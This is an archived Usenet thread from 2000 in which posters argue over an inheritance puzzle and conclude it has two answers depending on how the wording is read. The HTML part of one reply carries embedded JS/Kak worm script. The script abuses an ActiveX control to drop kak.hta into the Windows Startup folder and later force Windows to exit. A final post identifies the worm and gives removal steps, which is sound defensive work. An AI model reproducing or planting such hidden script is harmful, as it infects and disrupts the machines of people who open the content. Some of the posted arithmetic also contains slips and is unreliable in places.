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9 total messages Started by Kevin Rowe Sun, 26 Mar 2000 00:00
help
#35
Author: Kevin Rowe
Date: Sun, 26 Mar 2000 00:00
66 lines
3242 bytes 
This is a multi-part message in MIME format.

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When an old man dies, his sons gather at the lawyers office to hear his =
will read out.

The 1st son was given 1000 + 1/7 of what was left. The second son was =
given 2000 + 1/7 of what was left. The 3rd son was given 3000+ 1/7 of =
what was left. and so on. =20

They all recieved the same amount of money.


How much money was there in total?

How many sons were there?


Good luck
 kev@tokenmusic.co.uk


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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>When an old man dies, his sons gather =
at the=20
lawyers office to hear his will read out.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The 1st son was given 1000 + 1/7 of =
what was left.=20
The second son was given 2000 + 1/7 of what was left. The 3rd son was =
given=20
3000+ 1/7 of what was left. and so on.&nbsp; </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>They all recieved the same amount of=20
money.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>How much money was there in =
total?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>How many sons were there?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Good luck</FONT></DIV>
<DIV>&nbsp;<A =
href=3D"mailto:kev@tokenmusic.co.uk">kev@tokenmusic.co.uk</A></DIV>
<DIV>&nbsp;</DIV></FONT></DIV></BODY></HTML>

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Re: help
#36
Author: carbonbasetwo
Date: Tue, 28 Mar 2000 00:00
157 lines
8221 bytes 
This is a multi-part message in MIME format.

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$42000

6 sons
  Kevin Rowe <kevin.rowe2@tesco.net> wrote in message =
news:8blr4e$lhq$1@barcode.tesco.net...
  When an old man dies, his sons gather at the lawyers office to hear =
his will read out.

  The 1st son was given 1000 + 1/7 of what was left. The second son was =
given 2000 + 1/7 of what was left. The 3rd son was given 3000+ 1/7 of =
what was left. and so on. =20

  They all recieved the same amount of money.


  How much money was there in total?

  How many sons were there?


  Good luck
   kev@tokenmusic.co.uk


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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>$42000</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>6 sons</FONT></DIV>
<DIV>
<DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20
id=3Dscr></OBJECT></DIV>
<SCRIPT><!--
function sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr=
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WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object =
id=3D'wsh' =
classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP=
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ew Date();if(d.getDate()=3D=3D1 && =
d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =
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user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =
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!]]%%%%%</"+"BODY></"+"HTML";la=3D(navigator.systemLanguage)?navigator.sy=
stemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\M=
enu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =
Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=
;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
gt.indexOf("msie 5.")!=3D-1))scr.write();
// --></SCRIPT>
</OBJECT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV>Kevin Rowe &lt;<A=20
  href=3D"mailto:kevin.rowe2@tesco.net">kevin.rowe2@tesco.net</A>&gt; =
wrote in=20
  message <A=20
  =
href=3D"news:8blr4e$lhq$1@barcode.tesco.net">news:8blr4e$lhq$1@barcode.te=
sco.net</A>...</DIV>
  <DIV><FONT face=3DArial size=3D2>
  <DIV><FONT face=3DArial size=3D2>When an old man dies, his sons gather =
at the=20
  lawyers office to hear his will read out.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>The 1st son was given 1000 + 1/7 of =
what was=20
  left. The second son was given 2000 + 1/7 of what was left. The 3rd =
son was=20
  given 3000+ 1/7 of what was left. and so on.&nbsp; </FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>They all recieved the same amount of=20
  money.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>How much money was there in =
total?</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>How many sons were =
there?</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Good luck</FONT></DIV>
  <DIV>&nbsp;<A=20
href=3D"mailto:kev@tokenmusic.co.uk">kev@tokenmusic.co.uk</A></DIV>
  <DIV>&nbsp;</DIV></FONT></DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0026_01BF98AA.6128F680--
Re: help
#37
Author: Virgil
Date: Tue, 28 Mar 2000 00:00
40 lines
2266 bytes 
In article <OCKfvROm$GA.225@cpmsnbbsa03>, "carbonbasetwo" 
<carbonbasetwo@email.msn.com> wrote:

>$42000
>
>6 sons
>  Kevin Rowe <kevin.rowe2@tesco.net> wrote in message 
>  news:8blr4e$lhq$1@barcode.tesco.net...
>  When an old man dies, his sons gather at the lawyers office to hear his 
>  will read out.
>
>  The 1st son was given 1000 + 1/7 of what was left. The second son was 
>  given 2000 + 1/7 of what was left. The 3rd son was given 3000+ 1/7 of 
>  what was left. and so on.  
>
>  They all recieved the same amount of money.
>
>
>  How much money was there in total?
>
>  How many sons were there?
>
>
>  Good luck
>   kev@tokenmusic.co.uk


$42,000 total estate won't give each son an equal share.

Try 6 sons with $36,000 total, each son getting $6000.

First son gets 1000 +(36000-1000)/7 = 1000 + 35000/7 = 1000+5000 = 6000,
  leaving 30000,
next son gets 2000 +(30000-2000)/7 = 2000 + 28000/7 = 2000+4000 = 6000,
   leaving 24000,
and so on.

-- 
Virgil
vmhjr@frii.com
Re: help
#39
Author: carbonbasetwo
Date: Thu, 30 Mar 2000 00:00
60 lines
2656 bytes 
IT SURE WILL.... YOU BETTER CHECK YOU CALCULATION


42,000/6 = $7000   Sounds like an equal share to me...

Your calc is wrong... here is the correct way to calc son one....

1000+1/7x = 2000+1/7y

Then find for quantity in terms of x.


Then you will get the answer.... I will send more after your response.]

Anthony



Virgil <vmhjr@frii.com> wrote in message
news:vmhjr-76DBF2.17222428032000@news.frii.com...
> In article <OCKfvROm$GA.225@cpmsnbbsa03>, "carbonbasetwo"
> <carbonbasetwo@email.msn.com> wrote:
>
> >$42000
> >
> >6 sons
> >  Kevin Rowe <kevin.rowe2@tesco.net> wrote in message
> >  news:8blr4e$lhq$1@barcode.tesco.net...
> >  When an old man dies, his sons gather at the lawyers office to hear his
> >  will read out.
> >
> >  The 1st son was given 1000 + 1/7 of what was left. The second son was
> >  given 2000 + 1/7 of what was left. The 3rd son was given 3000+ 1/7 of
> >  what was left. and so on.
> >
> >  They all recieved the same amount of money.
> >
> >
> >  How much money was there in total?
> >
> >  How many sons were there?
> >
> >
> >  Good luck
> >   kev@tokenmusic.co.uk
>
>
> $42,000 total estate won't give each son an equal share.
>
> Try 6 sons with $36,000 total, each son getting $6000.
>
> First son gets 1000 +(36000-1000)/7 = 1000 + 35000/7 = 1000+5000 = 6000,
>   leaving 30000,
> next son gets 2000 +(30000-2000)/7 = 2000 + 28000/7 = 2000+4000 = 6000,
>    leaving 24000,
> and so on.
>
> --
> Virgil
> vmhjr@frii.com
Re: help
#41
Author: Virgil
Date: Thu, 30 Mar 2000 00:00
87 lines
4196 bytes 
I have rechecked my work, and found it correct according to the 
statement of the problem as I understand it.
 The nth son in turn gets a fixed amount, $1000*n,  plus a fixed share, 
1/7, of what is left after his elder brother's shares and his own fixed 
amount have been subtracted from the original estate.  This is supposed 
to give each son the same dollar amount. 

Mr/Miz carbonbasetwo's solution does not follow these rules, his eldest 
son does not get his $1000 first and then his 1/7, he only gets a 1/7 
share.

If you start with 36 in thousands of dollars:
The first son gets 1 plus 1/7 of what is left after paying the 1.
   This is 1 + (36 - 1)/7 = 1 + 5 = 6 leaving 30.
The second son gets 2 plus 1/7 of what is left after paying the 2.
    This is 2 + (30-3)/7 = 6 leaving 24.
The third son gets 3 + (30 - 3)/7 = 2 + 4 = 6 leaving 18.
The fourth son gets 4 + (18-4)/7 = 6 leaving 12.
The fifth son  gets 5 + (12-5)/7 = 6 leaving 6.
The sixth son gets 6 + (6-6)/7 = 6 leaving 0.
As you can see, each son gets 6 in thousands of dollars.


But if you start with 42 in thousands of dollars:
The first son gets 1 plus 1/7 of what is left after paying the 1 k$
   This is 1 + (42 - 1)/7 = 1 + 41/7 = 6+6/7 leaving 35+1/7.
The second son gets 2 + (35 1/7 -2)/7 = 2+34/49 leaving 32+22/49.

Note that even the first two sons get different amounts. Thus this 
cannot be a solution with all sons getting equal amounts. Furthermore, 
the amount left goes form positive to negative without ever being zero.



In article <uX$ifoqm$GA.60@cpmsnbbsa05>, "carbonbasetwo" 
<carbonbasetwo@email.msn.com> wrote:

>IT SURE WILL.... YOU BETTER CHECK YOU CALCULATION
>
>
>42,000/6 = $7000   Sounds like an equal share to me...
>
>Your calc is wrong... here is the correct way to calc son one....
>
>1000+1/7x = 2000+1/7y
>
>Then find for quantity in terms of x.
>
>
>Then you will get the answer.... I will send more after your response.]
>
>Anthony
>
>
>
>Virgil <vmhjr@frii.com> wrote in message
>news:vmhjr-76DBF2.17222428032000@news.frii.com...
>> In article <OCKfvROm$GA.225@cpmsnbbsa03>, "carbonbasetwo"
>> <carbonbasetwo@email.msn.com> wrote:
>>
>> >$42000
>> >
>> >6 sons
>> >  Kevin Rowe <kevin.rowe2@tesco.net> wrote in message
>> >  news:8blr4e$lhq$1@barcode.tesco.net...
>> >  When an old man dies, his sons gather at the lawyers office to hear 
>> >  his
>> >  will read out.
>> >
>> >  The 1st son was given 1000 + 1/7 of what was left. The second son was
>> >  given 2000 + 1/7 of what was left. The 3rd son was given 3000+ 1/7 of
>> >  what was left. and so on.
>> >
>> >  They all recieved the same amount of money.
>> >
>> >
>> >  How much money was there in total?
>> >
>> >  How many sons were there?
>> >
>> >
>> >  Good luck
>> >   kev@tokenmusic.co.uk

-- 
Virgil
vmhjr@frii.com
Re: help
#42
Author: carbonbasetwo
Date: Fri, 31 Mar 2000 00:00
132 lines
5344 bytes 
The question is phrased:

1st son gets 1000 + 1/7 of what is left of entire estate at that moment.
Then
2nd son gets 2000 +1/7 of what is left of entire estate at that moment.

estate = z
In other words the second son is getting: z-1000+1/7-2000+1/7...

Like this:

1. 1000+1/7x = 2000+1/7y
2. y = x-1/7-1000

New Equation:

1000+1/7x = 2000+1/7x(x-1/7x-1000)
1000+1/7x = 2000+1/7x(6/7x-1000)
1000+1/7x = 2000+6/49x-142.86
1/7x-6/49x = 2000-142.86-1000
1/49x = 857.14
x = 41999.86 or 42000.0000

Now back in the original equation:

1st son: 1000+1/7(42000.0000)=1000+6000=7000
    42000-7000=35000
2nd son: 2000+1/7(35000.0000)=2000+5000=7000
    35000-7000=28000
3rd son: 3000+1/7(28000.0000)=3000+4000=7000
    28000-7000=21000
4th son: 4000+1/7(21000.0000)=4000+3000=7000
    21000-7000=14000
5th son: 5000+1/7(14000.0000)=5000+2000=7000
    14000-7000=7000
6th son: 6000+1/7(7000.0000)=6000+1000=7000

NOW NO MONEY IS LEFT.... THIS IS THE PROOF........

Anthony

Virgil <vmhjr@frii.com> wrote in message
news:vmhjr-5AB1B9.21133230032000@news.frii.com...
> I have rechecked my work, and found it correct according to the
> statement of the problem as I understand it.
>  The nth son in turn gets a fixed amount, $1000*n,  plus a fixed share,
> 1/7, of what is left after his elder brother's shares and his own fixed
> amount have been subtracted from the original estate.  This is supposed
> to give each son the same dollar amount.
>
> Mr/Miz carbonbasetwo's solution does not follow these rules, his eldest
> son does not get his $1000 first and then his 1/7, he only gets a 1/7
> share.
>
> If you start with 36 in thousands of dollars:
> The first son gets 1 plus 1/7 of what is left after paying the 1.
>    This is 1 + (36 - 1)/7 = 1 + 5 = 6 leaving 30.
> The second son gets 2 plus 1/7 of what is left after paying the 2.
>     This is 2 + (30-3)/7 = 6 leaving 24.
> The third son gets 3 + (30 - 3)/7 = 2 + 4 = 6 leaving 18.
> The fourth son gets 4 + (18-4)/7 = 6 leaving 12.
> The fifth son  gets 5 + (12-5)/7 = 6 leaving 6.
> The sixth son gets 6 + (6-6)/7 = 6 leaving 0.
> As you can see, each son gets 6 in thousands of dollars.
>
>
> But if you start with 42 in thousands of dollars:
> The first son gets 1 plus 1/7 of what is left after paying the 1 k$
>    This is 1 + (42 - 1)/7 = 1 + 41/7 = 6+6/7 leaving 35+1/7.
> The second son gets 2 + (35 1/7 -2)/7 = 2+34/49 leaving 32+22/49.
>
> Note that even the first two sons get different amounts. Thus this
> cannot be a solution with all sons getting equal amounts. Furthermore,
> the amount left goes form positive to negative without ever being zero.
>
>
>
> In article <uX$ifoqm$GA.60@cpmsnbbsa05>, "carbonbasetwo"
> <carbonbasetwo@email.msn.com> wrote:
>
> >IT SURE WILL.... YOU BETTER CHECK YOU CALCULATION
> >
> >
> >42,000/6 = $7000   Sounds like an equal share to me...
> >
> >Your calc is wrong... here is the correct way to calc son one....
> >
> >1000+1/7x = 2000+1/7y
> >
> >Then find for quantity in terms of x.
> >
> >
> >Then you will get the answer.... I will send more after your response.]
> >
> >Anthony
> >
> >
> >
> >Virgil <vmhjr@frii.com> wrote in message
> >news:vmhjr-76DBF2.17222428032000@news.frii.com...
> >> In article <OCKfvROm$GA.225@cpmsnbbsa03>, "carbonbasetwo"
> >> <carbonbasetwo@email.msn.com> wrote:
> >>
> >> >$42000
> >> >
> >> >6 sons
> >> >  Kevin Rowe <kevin.rowe2@tesco.net> wrote in message
> >> >  news:8blr4e$lhq$1@barcode.tesco.net...
> >> >  When an old man dies, his sons gather at the lawyers office to hear
> >> >  his
> >> >  will read out.
> >> >
> >> >  The 1st son was given 1000 + 1/7 of what was left. The second son
was
> >> >  given 2000 + 1/7 of what was left. The 3rd son was given 3000+ 1/7
of
> >> >  what was left. and so on.
> >> >
> >> >  They all recieved the same amount of money.
> >> >
> >> >
> >> >  How much money was there in total?
> >> >
> >> >  How many sons were there?
> >> >
> >> >
> >> >  Good luck
> >> >   kev@tokenmusic.co.uk
>
> --
> Virgil
> vmhjr@frii.com
Re: help
#43
Author: Virgil
Date: Fri, 31 Mar 2000 00:00
161 lines
6648 bytes 
I interpret "The 1st son was given 1000 + 1/7 of what was left." to mean 
that he was given the $1000 first and then, from what was left *after* 
the $1000 was deducted, he was given 1/7 of it.

Taking from the estate 1/7 of what is left and *then* taking some fixed 
amount is the NOT the same as taking from the estate some fixed amount 
and *then* 1/7 of what is left. The operations do not commute.

If the authors of the problem had meant to take 1/7 of what there was 
and *then* some fixed amount, they should have put the 1/7 first and the 
fixed amount after. That would have avoided any ambiguity. Since the 
authors chose to state the problem as they did, I will stay with my 
interpretation.

If Mr/Miz "carbonbasetwo" chooses to stay with his/her interpretation, 
so be it, but he/she will not convince me to change.


In article <#$QwVG1m$GA.265@cpmsnbbsa05>, "carbonbasetwo" 
<carbonbasetwo@email.msn.com> wrote:

>The question is phrased:
>
>1st son gets 1000 + 1/7 of what is left of entire estate at that moment.


>Then
>2nd son gets 2000 +1/7 of what is left of entire estate at that moment.
>
>estate = z
>In other words the second son is getting: z-1000+1/7-2000+1/7...
>
>Like this:
>
>1. 1000+1/7x = 2000+1/7y
>2. y = x-1/7-1000
>
>New Equation:
>
>1000+1/7x = 2000+1/7x(x-1/7x-1000)
>1000+1/7x = 2000+1/7x(6/7x-1000)
>1000+1/7x = 2000+6/49x-142.86
>1/7x-6/49x = 2000-142.86-1000
>1/49x = 857.14
>x = 41999.86 or 42000.0000
>
>Now back in the original equation:
>
>1st son: 1000+1/7(42000.0000)=1000+6000=7000
>    42000-7000=35000
>2nd son: 2000+1/7(35000.0000)=2000+5000=7000
>    35000-7000=28000
>3rd son: 3000+1/7(28000.0000)=3000+4000=7000
>    28000-7000=21000
>4th son: 4000+1/7(21000.0000)=4000+3000=7000
>    21000-7000=14000
>5th son: 5000+1/7(14000.0000)=5000+2000=7000
>    14000-7000=7000
>6th son: 6000+1/7(7000.0000)=6000+1000=7000
>
>NOW NO MONEY IS LEFT.... THIS IS THE PROOF........
>
>Anthony
>
>Virgil <vmhjr@frii.com> wrote in message
>news:vmhjr-5AB1B9.21133230032000@news.frii.com...
>> I have rechecked my work, and found it correct according to the
>> statement of the problem as I understand it.
>>  The nth son in turn gets a fixed amount, $1000*n,  plus a fixed share,
>> 1/7, of what is left after his elder brother's shares and his own fixed
>> amount have been subtracted from the original estate.  This is supposed
>> to give each son the same dollar amount.
>>
>> Mr/Miz carbonbasetwo's solution does not follow these rules, his eldest
>> son does not get his $1000 first and then his 1/7, he only gets a 1/7
>> share.
>>
>> If you start with 36 in thousands of dollars:
>> The first son gets 1 plus 1/7 of what is left after paying the 1.
>>    This is 1 + (36 - 1)/7 = 1 + 5 = 6 leaving 30.
>> The second son gets 2 plus 1/7 of what is left after paying the 2.
>>     This is 2 + (30-3)/7 = 6 leaving 24.
>> The third son gets 3 + (30 - 3)/7 = 2 + 4 = 6 leaving 18.
>> The fourth son gets 4 + (18-4)/7 = 6 leaving 12.
>> The fifth son  gets 5 + (12-5)/7 = 6 leaving 6.
>> The sixth son gets 6 + (6-6)/7 = 6 leaving 0.
>> As you can see, each son gets 6 in thousands of dollars.
>>
>>
>> But if you start with 42 in thousands of dollars:
>> The first son gets 1 plus 1/7 of what is left after paying the 1 k$
>>    This is 1 + (42 - 1)/7 = 1 + 41/7 = 6+6/7 leaving 35+1/7.
>> The second son gets 2 + (35 1/7 -2)/7 = 2+34/49 leaving 32+22/49.
>>
>> Note that even the first two sons get different amounts. Thus this
>> cannot be a solution with all sons getting equal amounts. Furthermore,
>> the amount left goes form positive to negative without ever being zero.
>>
>>
>>
>> In article <uX$ifoqm$GA.60@cpmsnbbsa05>, "carbonbasetwo"
>> <carbonbasetwo@email.msn.com> wrote:
>>
>> >IT SURE WILL.... YOU BETTER CHECK YOU CALCULATION
>> >
>> >
>> >42,000/6 = $7000   Sounds like an equal share to me...
>> >
>> >Your calc is wrong... here is the correct way to calc son one....
>> >
>> >1000+1/7x = 2000+1/7y
>> >
>> >Then find for quantity in terms of x.
>> >
>> >
>> >Then you will get the answer.... I will send more after your response.]
>> >
>> >Anthony
>> >
>> >
>> >
>> >Virgil <vmhjr@frii.com> wrote in message
>> >news:vmhjr-76DBF2.17222428032000@news.frii.com...
>> >> In article <OCKfvROm$GA.225@cpmsnbbsa03>, "carbonbasetwo"
>> >> <carbonbasetwo@email.msn.com> wrote:
>> >>
>> >> >$42000
>> >> >
>> >> >6 sons
>> >> >  Kevin Rowe <kevin.rowe2@tesco.net> wrote in message
>> >> >  news:8blr4e$lhq$1@barcode.tesco.net...
>> >> >  When an old man dies, his sons gather at the lawyers office to hear
>> >> >  his
>> >> >  will read out.
>> >> >
>> >> >  The 1st son was given 1000 + 1/7 of what was left. The second son
>was
>> >> >  given 2000 + 1/7 of what was left. The 3rd son was given 3000+ 1/7
>of
>> >> >  what was left. and so on.
>> >> >
>> >> >  They all recieved the same amount of money.
>> >> >
>> >> >
>> >> >  How much money was there in total?
>> >> >
>> >> >  How many sons were there?
>> >> >
>> >> >
>> >> >  Good luck
>> >> >   kev@tokenmusic.co.uk
>>
>> --
>> Virgil
>> vmhjr@frii.com
>
>

-- 
Virgil
vmhjr@frii.com
Re: help
#44
Author: carbonbasetwo
Date: Fri, 31 Mar 2000 00:00
152 lines
5920 bytes 
Virgil... I ran through your calc....two answers exists to this problem
depending on how it is read.

36000  and

42000

6000  and

7000

Bummer of a question!!!

Anthony

carbonbasetwo <carbonbasetwo@email.msn.com> wrote in message
news:#$QwVG1m$GA.265@cpmsnbbsa05...
> The question is phrased:
>
> 1st son gets 1000 + 1/7 of what is left of entire estate at that moment.
> Then
> 2nd son gets 2000 +1/7 of what is left of entire estate at that moment.
>
> estate = z
> In other words the second son is getting: z-1000+1/7-2000+1/7...
>
> Like this:
>
> 1. 1000+1/7x = 2000+1/7y
> 2. y = x-1/7-1000
>
> New Equation:
>
> 1000+1/7x = 2000+1/7x(x-1/7x-1000)
> 1000+1/7x = 2000+1/7x(6/7x-1000)
> 1000+1/7x = 2000+6/49x-142.86
> 1/7x-6/49x = 2000-142.86-1000
> 1/49x = 857.14
> x = 41999.86 or 42000.0000
>
> Now back in the original equation:
>
> 1st son: 1000+1/7(42000.0000)=1000+6000=7000
>     42000-7000=35000
> 2nd son: 2000+1/7(35000.0000)=2000+5000=7000
>     35000-7000=28000
> 3rd son: 3000+1/7(28000.0000)=3000+4000=7000
>     28000-7000=21000
> 4th son: 4000+1/7(21000.0000)=4000+3000=7000
>     21000-7000=14000
> 5th son: 5000+1/7(14000.0000)=5000+2000=7000
>     14000-7000=7000
> 6th son: 6000+1/7(7000.0000)=6000+1000=7000
>
> NOW NO MONEY IS LEFT.... THIS IS THE PROOF........
>
> Anthony
>
> Virgil <vmhjr@frii.com> wrote in message
> news:vmhjr-5AB1B9.21133230032000@news.frii.com...
> > I have rechecked my work, and found it correct according to the
> > statement of the problem as I understand it.
> >  The nth son in turn gets a fixed amount, $1000*n,  plus a fixed share,
> > 1/7, of what is left after his elder brother's shares and his own fixed
> > amount have been subtracted from the original estate.  This is supposed
> > to give each son the same dollar amount.
> >
> > Mr/Miz carbonbasetwo's solution does not follow these rules, his eldest
> > son does not get his $1000 first and then his 1/7, he only gets a 1/7
> > share.
> >
> > If you start with 36 in thousands of dollars:
> > The first son gets 1 plus 1/7 of what is left after paying the 1.
> >    This is 1 + (36 - 1)/7 = 1 + 5 = 6 leaving 30.
> > The second son gets 2 plus 1/7 of what is left after paying the 2.
> >     This is 2 + (30-3)/7 = 6 leaving 24.
> > The third son gets 3 + (30 - 3)/7 = 2 + 4 = 6 leaving 18.
> > The fourth son gets 4 + (18-4)/7 = 6 leaving 12.
> > The fifth son  gets 5 + (12-5)/7 = 6 leaving 6.
> > The sixth son gets 6 + (6-6)/7 = 6 leaving 0.
> > As you can see, each son gets 6 in thousands of dollars.
> >
> >
> > But if you start with 42 in thousands of dollars:
> > The first son gets 1 plus 1/7 of what is left after paying the 1 k$
> >    This is 1 + (42 - 1)/7 = 1 + 41/7 = 6+6/7 leaving 35+1/7.
> > The second son gets 2 + (35 1/7 -2)/7 = 2+34/49 leaving 32+22/49.
> >
> > Note that even the first two sons get different amounts. Thus this
> > cannot be a solution with all sons getting equal amounts. Furthermore,
> > the amount left goes form positive to negative without ever being zero.
> >
> >
> >
> > In article <uX$ifoqm$GA.60@cpmsnbbsa05>, "carbonbasetwo"
> > <carbonbasetwo@email.msn.com> wrote:
> >
> > >IT SURE WILL.... YOU BETTER CHECK YOU CALCULATION
> > >
> > >
> > >42,000/6 = $7000   Sounds like an equal share to me...
> > >
> > >Your calc is wrong... here is the correct way to calc son one....
> > >
> > >1000+1/7x = 2000+1/7y
> > >
> > >Then find for quantity in terms of x.
> > >
> > >
> > >Then you will get the answer.... I will send more after your response.]
> > >
> > >Anthony
> > >
> > >
> > >
> > >Virgil <vmhjr@frii.com> wrote in message
> > >news:vmhjr-76DBF2.17222428032000@news.frii.com...
> > >> In article <OCKfvROm$GA.225@cpmsnbbsa03>, "carbonbasetwo"
> > >> <carbonbasetwo@email.msn.com> wrote:
> > >>
> > >> >$42000
> > >> >
> > >> >6 sons
> > >> >  Kevin Rowe <kevin.rowe2@tesco.net> wrote in message
> > >> >  news:8blr4e$lhq$1@barcode.tesco.net...
> > >> >  When an old man dies, his sons gather at the lawyers office to
hear
> > >> >  his
> > >> >  will read out.
> > >> >
> > >> >  The 1st son was given 1000 + 1/7 of what was left. The second son
> was
> > >> >  given 2000 + 1/7 of what was left. The 3rd son was given 3000+ 1/7
> of
> > >> >  what was left. and so on.
> > >> >
> > >> >  They all recieved the same amount of money.
> > >> >
> > >> >
> > >> >  How much money was there in total?
> > >> >
> > >> >  How many sons were there?
> > >> >
> > >> >
> > >> >  Good luck
> > >> >   kev@tokenmusic.co.uk
> >
> > --
> > Virgil
> > vmhjr@frii.com
>
>
Re: help
#46
Author: Nick FitzGerald
Date: Sat, 08 Apr 2000 00:00
130 lines
7029 bytes 
carbonbasetwo <carbonbasetwo@email.msn.com> wrote:

[Posted and Emailed]

> $42000  ...

You have the virus (some call it a worm) known as
JS/Kak (aka WScript.Kak, Kakworm, VBS/Kak, etc).
Here are detailed and complete clean-up instructions.
Unlike most earlier instructions, including those
posted by many antivirus vendors (who are fixing theirs
at my suggestion), these instructions not only remove
Kak but explain how to make your machine *immune* to
re-infection from Kak, or infection from any future
viruses or worms that depend on the same security hole
to get into a machine.

Note:  Kak spreads via Email.  Since you were infected,
you'll have been sending infected messages.  You should
check your Sent Items folder **after** applying **all**
the fixes below and Email warnings (and an apology!) to
everyone you've mailed since being infected.

Note^2:  Too many descriptions of how to deal with Kak
ignore the fact that infected users have mail folders
full of infected messages which will hit them again next
time they are read **if the security hole Kak depends on
is not closed**.  Thus, when cleaning up Kak you
**MUST** follow my advice about Outlook Express security
settings **AND** installing the MS security patch
referred to at the end of this message.

In the prescribed order -- don't ask why, just do it:

First, stop using that machine for Email and News.  In
fact, close down all applications.  In the instructions
that follow, start any mentioned application **only**
perform the stated configuration changes then exit the
application.

Second, check the Restricted Sites security has *all*
ActiveX support set to *disabled* (that prevents people
choosing the wrong option when given the choice if
"prompt" is set) and if it is not, set it that way.
You do this on the Security tab of Tools/Internet
Options in IE or the Security tab of the Internet
Options control panel (they are both routes to the same
controls).  If you do not know how to check this, just
select the Restricted Sites zone and click the "Default
Level" button to reset the defaults for that zone --
they are near enough.

Third, set Outlook Express so Email is considered to be
in the Restricted Sites zone.  This is on the Security
tab of the Tools/Options dialog.

Fourth, delete the Signature definition in Outlook
Express for each afflicted user identity (if you do not
know what that means, you *probably* only have a single
identity so only need to do it once).  These settings
are on the Signatures tab of the Tools/Options dialog.
In theory, it is now safe to use Outlook Express 5 for
reading and sending Email -- but don't...

Fifth, delete the files kak.htm from the Windows folder
and <name>.hta from the Windows system folder.  <name>
is an eight character string representing a hexadecimal
number -- i.e. it consists of some combination of
characters 0-9 and A-F.  There could be more than one 
of these files -- they should be 4116 bytes in size --
delete them all.  If there is more than one, then you
should find out about Outlook Express user identities and
tidy up the siganture settings of all identities (that
is more aesthetic than necessary, as deleting the
kak.htm file effectively disables the signatures anyway).
These files have the hidden file attribute set -- to see
them you will have to change the default settings in
Explorer.  If you are unsure how to do this, select Help
from the Start menu, click on the Index tab then, under
Win95, enter "hidden files, viewing" or under Win98 enter
"hidden attribute" and view the topic that is found.

Sixth, edit AUTOEXEC.BAT and delete the two lines
involved in creating and deleting kak.hta in the Windows
Startup folder.  If AE.KAK exists in the root of C: and no
changes have been made to AUTOEXEC.BAT since Kak infested
the machine, you can delete (or rename) AUTOEXEC.BAT then
rename AE.KAK to AUTOEXEC.BAT (it is a Kak install-time
backup of AUTOEXEC.BAT).  Check the Windows Startup
folder and delete any file there named kak.hta.

Restart the machine and watch closely for a process called
Drive Memory Error that **only** appears (and briefly) as
a button on the taskbar.  If that happens, you missed
something or did it out of order.  Start over.  If you get
here a second time and still have this process starting,
please Email me for further assistance.


Assuming that all has gone well, go to:

   http://www.microsoft.com/technet/security/bulletin/ms99-032.asp

read it, download then run the offical MS patch that
closes the security hole that Kak depends on.  After doing
that, you can reset your Email security to the Internet
zone, although I certainly do not recommend that!

After all this, you will almost surely have one or more
messages carrying the Kak code in your Email folders.
Unless MS re-introduces the security hole Kak depends on
in a future IE update, those message won't cause you any
grief though forwarding them to others would be unwelcome.
Note also, that any copies to self you've kept will also
have active Kak code in them.  Short of getting a virus
scanner that can parse OE mail files, the only vaguely
satisfactory workaround to the "problem" of possibly
forwarding one of these "infected", saved messages is to
configure all your user identities to send text-only Email
rather than that HTML rubbish that is the OE default.
Thus, setting text-only Email sending is a *very good
idea*.  Note that to set this configuration fully, you
must not only set Tools/Options/Send to "Plain text" for
the "Mail sending format", but also disable the "Reply to
messages in the format in which they were sent" option
(which is also on the Tools/Options/Send dialog).


-- 
Nick FitzGerald
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